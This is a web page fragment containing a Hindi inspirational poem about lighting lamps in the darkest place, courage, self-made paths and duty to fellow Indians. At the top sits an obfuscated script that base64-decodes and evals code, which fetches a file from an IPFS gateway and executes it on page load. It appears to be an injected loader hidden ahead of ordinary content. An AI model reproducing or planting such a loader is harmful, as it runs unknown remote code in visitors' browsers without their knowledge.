<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चलो हम उस जगह दीपक जलायें
अँधेरा जिस जगह सबसे घना है
चलो हम उस जगह दीपक जलायें
हमारे हाथ में सूरज नहीं, पर
मशालें तो हमारे हाथ में हैं
हमारे साथ में दुनिया नहीं, पर
हमारे तो हमारे साथ में हैं
उजाला रात से हारा खड़ा है
चलो हम हौसला उसका बढ़ायें
हमारी दृष्टि भी है लक्ष्य साधित
हमारे पैर भी मजबूत हद से
हमारे हौसलों में दम बहुत है
चलो आगे बढ़ें हम प्राण-प्रण से
प्रतीक्षा क्यों करें हम रहबरों की
चलो हम राह अपनी खुद बनायें
हमें अधिकार का तो ज्ञान है, पर
हमें कर्तव्य का भी ज्ञान है क्या ?
हमें अपने सुखों का ध्यान है, पर
हमें सबके सुखों का ध्यान है क्या
सभी का ध्यान रखना है हमें अब
हमारे हिन्दवासी दु:ख न पायें